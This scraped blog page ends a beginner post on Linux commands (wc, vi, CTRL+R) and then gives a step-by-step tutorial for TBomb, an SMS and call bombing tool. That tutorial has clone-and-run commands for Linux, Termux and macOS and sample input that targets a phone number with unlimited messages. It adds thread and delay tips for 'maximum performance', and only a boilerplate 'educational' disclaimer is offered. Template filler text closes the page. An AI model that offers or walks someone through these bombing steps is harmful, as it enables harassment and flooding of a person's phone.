    wget https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.17.2.tar.xz




    Command 3: wc


    Often you have a file of arbitrary length and something smells fishy: maybe the size of the file seems too small for the number of rows you expect or something you’re just curious how many words are in it. Either way, you want to inspect it a bit more and need a command to do so.

    The wc command helps out in that it essentially counts a few different things for the file in reference:


    # wc --help
    Usage: wc [OPTION]... [FILE]...
      -c, --bytes            print the byte counts
      -m, --chars            print the character counts
      -l, --lines            print the newline counts
      -L, --max-line-length  print the length of the longest line
      -w, --words            print the word counts
          --help            display this help and exit
          --version            output version information and exi

    So, say we want to count the number of lines in a file:


    wc -L tecmintt.txt


    16 tecmintt.txt


    or maybe the number of characters:


    wc -m tecmintt.txt


    112 tecmintt.txt


    Awesome!




     

    Command 4: Vi



    The vi command is super helpful as it allows you to open and explore a file. The command works as follows:


    vi [filepath]


    And it takes you into an editor sort of thing. Now in this editor, you can use the following characters to navigate:


    k    Up one line 
    j    Down one line 
    h    Left one character 
    l    Right one character (or use <Spacebar>)
    w    Right one word
    b    Left one word



    However, in reality, you’ll find navigation pretty naturally. The following commands will be the most useful though:



    ZZ     Write (if there were changes), then quit
    :wq    Write, then quit 
    :q     Quit (will only work if file has not been changed) 
    :q!    Quit without saving changes to file


    You’ll learn to love vi, I swear!




     

    Command 5: CTRL+R



    So I’ve saved the best for last as I really use this command quite a lot. CTRL+R isn’t really a command but more a shortcut type of thing. It allows you to search your history of used commands by typing in something which resembles the command, and then similar commands that you’ve used before come up!


    For example, say you’ve just run a really long command and for whatever reason your terminal session breaks and you have to re-run the command again. With this command, you can quickly search for it again instead of reconstructing the command from scratch!


    Let’s say I’m trying to remember a command that begins with hi, but I can’t remember it all. I type in ctrl+r and then I see what it recommends:



    $ historybck-i-search: his_



    Perfect! The command history has been recommended and that’s exactly the
    command we were looking for. If you press tab at this point, the autocomplete fills in the line:



    $ history




    I’ve actually always struggled to use both Linux and GIT but over time, I’ve managed to remember a few key commands that’ve helped my development as an independent researcher. I can work fairly independently now and it’s thanks to the above command line tools that I’m able to so.

    Therefore, I really recommend spending a few hours getting used to linux as the small lessons you take now will really help progress your use of the system going forward. It’s pure upside!




    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)


  • send a unlimited SMS via sms bombing and call bomber in any number



    SMS Bombing & Call bomber in any number


    So today we will know about the special technique of unlimited sending sms, which is named SMS bombing so, we will covered in this article about SMS Bombing and How to use ?  so, you can use this tool in kali linux, windows and MacOS also. so, lets get started!


    SMS Bombing & Call bomber


    Due misusing of TBomb, several API's died. Don't be afraid if you don't see all send messages. call bomber


    • The script requires working network connection to work.
    • No balance will be deducted for using this script to send SMS/calls.
    • While doing infinite bombing use 2-3 seconds delay and 10 to 20 threads for maximum performance.
    • Don't put spaces in between phone number (Ex- 99999 99999)
    • Make sure you are using the latest version of TBomb
    • Make sure you are using Python3. SMS Bombing & Call bomber in any number  custom sms bomber



    Here's how you can check it. Type this command in your terminal.


    python -V



    Features:


    • Lots of integrated SMS/call APIs
    • Unlimited (Limited against abusing) and super-fast bombing
    • International bombing available (APIS Dead. Try Your Luck.)
    • Call bombing
    • Frequent updates
    • Automatic updating mechanism
    • Easy to use and embed in code




    How To Use ? ( LInux )


    step 1 :- First we need to install sms bombing tool so,

    git clone https://github.com/TheSpeedX/TBomb





    ls

    cd







    Run


    bash TBomb.sh










    Press 1 To  Start SMS Bomber
    Press 2 To  Start Call Bomber
    Press 3 To  Update (Works On Linux And Linux Emulators)
    Press 4 To  View Features
    Press 5 To  Exit



    I will choose option 1 so, press 1 and hit enter







    Enter Your Country Code ( without + ) : 91
    Enter Target Number : +91 7979*********
    Enter Number of Messages To Send ( 0 For Unlimited ) : 0
    Enter Delay Time ( in Seconds ) [Recommended 2 sec ] : 2
    Number Of Threads(10 to 20) : 19

    and then hit enter











    call bomber
    custom sms bomber
    sms bomber script
    sms bomber protection
    sms bomber
    android missing tricks
    sms bomber telegram
    sms bomber
    turbo bomber
    sms app
    Kali linux

    For Termux:


    Notice:

    git installation methods are not universal and do differ between distributions, so, installing git as per instructions below may not work. Please check out how to install git for your Linux distribution. Commands below provide instructions for Debian-based systems.

    To use the bomber type the following commands in Termux:

    pkg install git
    pkg install python
    git clone https://github.com/TheSpeedX/TBomb.git
    cd TBomb
    chmod +x TBomb.sh
    ./TBomb.sh




    For macOS:


    To use the bomber type the following commands in macOS terminal:

    # Install Brew:

    /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

    # Install dependencys:

    brew install git
    brew install python3
    sudo easy_install pip
    sudo pip install --upgrade pip
    git clone https://github.com/TheSpeedX/TBomb.git
    cd TBomb
    chmod +x TBomb.sh

    # Missing Tools on MacOS

    Toilet cannot be installed yet. But TBomb does still work.

    # Run TBomb:

    sudo bash TBomb.sh







    Disclaimer

    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal


    Video Tutorial :- SOON



  • WHAT WE DO

    We've been developing corporate tailored services for clients for 30 years.

    CONTACT US

    For enquiries you can contact us in several different ways. Contact details are below.

    Hacking Truth.in

    • Street :Road Street 00
    • Person :Person
    • Phone :+045 123 755 755
    • Country :POLAND
    • Email :contact@heaven.com

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation.